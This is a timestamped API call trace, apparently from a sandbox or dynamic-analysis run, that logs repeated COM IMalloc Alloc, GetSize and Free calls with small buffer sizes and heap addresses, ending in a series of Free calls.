IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0099.945] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0099.949] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0099.949] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eca0 [0099.949] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eca0) returned 0x8 [0099.952] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eca0) [0099.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0099.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0099.957] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0099.957] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ea20 [0099.957] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ea20) returned 0x8 [0099.962] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ea20) [0099.962] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0099.962] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.084] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.084] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.084] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.097] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.097] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eb90 [0100.098] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eb90) returned 0x8 [0100.110] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eb90) [0100.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.110] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.312] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.312] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.312] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.317] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.317] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cc10 [0100.317] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) returned 0x10 [0100.318] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) [0100.318] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.318] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.319] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.319] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.319] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.322] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.322] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.322] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.326] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.326] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.326] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.327] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.327] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.327] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.328] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.328] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.328] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.329] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.329] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.329] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.331] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.331] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.331] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.332] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.332] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cc10 [0100.332] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) returned 0x10 [0100.333] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) [0100.333] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.333] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.334] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.334] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.334] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.335] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.335] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.335] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.335] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.336] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.336] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.336] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.336] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.336] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.336] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.336] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.336] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.337] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.337] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.337] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.337] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.337] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cc10 [0100.337] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) returned 0x10 [0100.337] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) [0100.337] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cc10 [0100.337] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) returned 0x10 [0100.338] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) [0100.338] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.338] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.338] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.338] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.338] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.342] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.342] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.453] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.453] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee00 [0100.453] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) returned 0x8 [0100.458] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) [0100.458] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.458] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.462] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f0a0 [0100.463] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f0a0) returned 0x8 [0100.467] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f0a0) [0100.467] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c5f0 [0100.467] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c5f0) returned 0x10 [0100.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c5f0) [0100.468] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f090 [0100.468] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f090) returned 0x8 [0100.469] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f090) [0100.469] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eea0 [0100.469] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eea0) returned 0x8 [0100.469] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eea0) [0100.469] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee90 [0100.470] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee90) returned 0x8 [0100.470] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee90) [0100.471] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ef60 [0100.471] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ef60) returned 0x8 [0100.472] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ef60) [0100.472] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f080 [0100.472] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f080) returned 0x8 [0100.473] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f080) [0100.473] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ef20 [0100.473] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ef20) returned 0x8 [0100.474] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ef20) [0100.474] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b17cc10 [0100.474] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) returned 0x18 [0100.475] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cc10) [0100.475] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ef60 [0100.475] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ef60) returned 0x8 [0100.476] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ef60) [0100.476] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ece0 [0100.476] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ece0) returned 0x8 [0100.476] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ece0) [0100.476] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.476] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.479] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.479] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f000 [0100.479] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f000) returned 0x8 [0100.482] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f000) [0100.482] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0100.482] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0100.485] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0100.485] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f020 [0100.485] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f020) returned 0x8 [0100.595] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f020) [0100.596] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17efd0 [0100.596] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) returned 0x10 [0100.598] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) [0100.598] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f0b0 [0100.598] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f0b0) returned 0x8 [0100.601] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f0b0) [0100.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17efd0 [0100.601] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) returned 0x10 [0100.604] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) [0100.604] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee00 [0100.604] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) returned 0x8 [0100.607] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) [0100.607] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17f4d0 [0100.607] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17f4d0) returned 0x10 [0100.613] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17f4d0) [0100.614] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f0a0 [0100.614] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f0a0) returned 0x8 [0100.620] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f0a0) [0100.620] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17efd0 [0100.620] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) returned 0x10 [0100.621] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) [0100.621] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17efd0 [0100.621] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) returned 0x10 [0100.621] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) [0100.621] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17efd0 [0100.621] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) returned 0x10 [0100.622] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) [0100.622] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee00 [0100.622] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) returned 0x8 [0100.623] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) [0100.623] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17efd0 [0100.623] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) returned 0x10 [0100.624] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) [0100.624] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17efd0 [0100.624] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) returned 0x10 [0100.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) [0100.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17efd0 [0100.625] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) returned 0x10 [0100.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17efd0) [0100.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee80 [0100.625] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee80) returned 0x8 [0100.626] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee80) [0100.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b180cd0 [0100.715] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b180cd0) returned 0x18 [0100.716] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b180cd0) [0100.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f090 [0100.716] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f090) returned 0x8 [0100.716] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f090) [0100.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eef0 [0100.716] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eef0) returned 0x8 [0100.717] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eef0) [0100.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b180670 [0100.717] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b180670) returned 0x10 [0100.717] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b180670) [0100.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f4420 [0100.717] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f4420) returned 0x20 [0100.717] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f4420) [0100.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a330 [0100.717] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b82a330) returned 0x30 [0100.837] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a330) [0100.837] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b884bc0 [0100.837] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884bc0) returned 0x48 [0100.849] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884bc0) [0100.849] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.849] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.849] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.849] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e930 [0100.849] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e930) returned 0x10 [0100.849] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e930) [0100.849] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.849] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.850] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.850] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e930 [0100.850] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e930) returned 0x10 [0100.850] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e930) [0100.850] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0100.850] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0100.850] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0100.850] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e930 [0100.850] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e930) returned 0x10 [0100.851] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e930) [0100.851] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0100.851] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0100.851] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0100.851] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e930 [0100.851] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e930) returned 0x10 [0100.851] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e930) [0100.851] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0100.851] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0100.851] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0100.852] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e930 [0100.852] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e930) returned 0x10 [0100.852] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e930) [0100.852] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0100.852] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0100.852] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0100.852] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0100.852] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0100.852] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0100.852] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0100.852] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0100.853] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0100.853] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0100.853] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0100.853] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0100.853] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.853] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.853] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.853] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e910 [0100.853] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e910) returned 0x8 [0100.854] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e910) [0100.854] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0100.854] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0100.854] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0100.854] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e930 [0100.854] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e930) returned 0x10 [0100.854] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e930) [0100.854] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d850) [0100.854] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d1d0) [0100.854] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d130) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d2f0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dbb0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dab0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cfb0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cd90) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d370) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d590) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d810) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d070) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d0d0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cd70) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dc30) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d950) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d290) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d150) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d770) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d6d0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d270) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d8b0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d7f0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d2d0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d6b0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d3f0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d690) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dc10) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dcd0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17da10) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d970) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d9b0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d410) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d570) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d710) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d4d0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d670) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d330) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cdb0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d3d0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d730) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17db90) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d0f0) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d870) [0100.855] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d550) [0100.856] 